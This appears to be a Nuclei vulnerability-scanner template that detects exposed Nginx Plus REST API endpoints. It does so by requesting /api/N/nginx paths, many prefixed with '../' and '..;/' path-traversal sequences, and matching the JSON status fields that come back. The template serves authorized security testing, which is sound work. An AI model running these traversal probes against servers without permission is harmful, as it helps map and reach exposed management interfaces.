id: nginx-api-traversal

info:
  name: Nginx Plus Rest API - Traversal
  author: encodedguy
  severity: high
  description: |
    Access to Nginx Plus Rest API was discovered.
  reference:
    - https://nginx.org/en/docs/http/ngx_http_api_module.html
    - https://x.com/akshaysharma71/status/1825815869953552844
  classification:
    cwe-id: CWE-23,CWE-73
  metadata:
    verified: true
  tags: nginx,fuzz,misconfig,lfi,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}{{paths}}"

    payloads:
      paths:
        - "/api/1/nginx"
        - "/api/2/nginx"
        - "/api/3/nginx"
        - "/api/5/nginx"
        - "/api/9/nginx"
        - "/../../../../../../api/1/nginx"
        - "/../../../../../../api/2/nginx"
        - "/../../../../../../api/3/nginx"
        - "/../../../../../../api/5/nginx"
        - "/../../../../../../api/9/nginx"
        - "/../../../../../api/1/nginx"
        - "/../../../../../api/2/nginx"
        - "/../../../../../api/3/nginx"
        - "/../../../../../api/5/nginx"
        - "/../../../../../api/9/nginx"
        - "/../../../../api/1/nginx"
        - "/../../../../api/2/nginx"
        - "/../../../../api/3/nginx"
        - "/../../../../api/5/nginx"
        - "/../../../../api/9/nginx"
        - "/../../../api/1/nginx"
        - "/../../../api/2/nginx"
        - "/../../../api/3/nginx"
        - "/../../../api/5/nginx"
        - "/../../../api/9/nginx"
        - "/../../api/1/nginx"
        - "/../../api/2/nginx"
        - "/../../api/3/nginx"
        - "/../../api/5/nginx"
        - "/../../api/9/nginx"
        - "/../api/1/nginx"
        - "/../api/2/nginx"
        - "/../api/3/nginx"
        - "/../api/5/nginx"
        - "/../api/9/nginx"
        - "/..;/..;/..;/..;/..;/..;/api/1/nginx"
        - "/..;/..;/..;/..;/..;/..;/api/2/nginx"
        - "/..;/..;/..;/..;/..;/..;/api/3/nginx"
        - "/..;/..;/..;/..;/..;/..;/api/5/nginx"
        - "/..;/..;/..;/..;/..;/..;/api/9/nginx"
        - "/..;/..;/..;/..;/..;/api/1/nginx"
        - "/..;/..;/..;/..;/..;/api/2/nginx"
        - "/..;/..;/..;/..;/..;/api/3/nginx"
        - "/..;/..;/..;/..;/..;/api/5/nginx"
        - "/..;/..;/..;/..;/..;/api/9/nginx"
        - "/..;/..;/..;/..;/api/1/nginx"
        - "/..;/..;/..;/..;/api/2/nginx"
        - "/..;/..;/..;/..;/api/3/nginx"
        - "/..;/..;/..;/..;/api/5/nginx"
        - "/..;/..;/..;/..;/api/9/nginx"
        - "/..;/..;/..;/api/1/nginx"
        - "/..;/..;/..;/api/2/nginx"
        - "/..;/..;/..;/api/3/nginx"
        - "/..;/..;/..;/api/5/nginx"
        - "/..;/..;/..;/api/9/nginx"
        - "/..;/..;/api/1/nginx"
        - "/..;/..;/api/2/nginx"
        - "/..;/..;/api/3/nginx"
        - "/..;/..;/api/5/nginx"
        - "/..;/..;/api/9/nginx"
        - "/..;/api/1/nginx"
        - "/..;/api/2/nginx"
        - "/..;/api/3/nginx"
        - "/..;/api/5/nginx"
        - "/..;/api/9/nginx"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "version"
          - "build"
          - "address"
          - "load_timestamp"
        condition: and

      - type: word
        part: content_type
        words:
          - application/json

      - type: status
        status:
          - 200
# digest: 4a0a0047304502205defdb29ac69f680b1acf26f02d7463b6c80de13653a48274a5b23a50c750e710221009a0dba7c96fd9a0e533c7497f4c0034bd751761c6132c7f3236ec0ff74553ba6:922c64590222798bb761d5b6d8e72950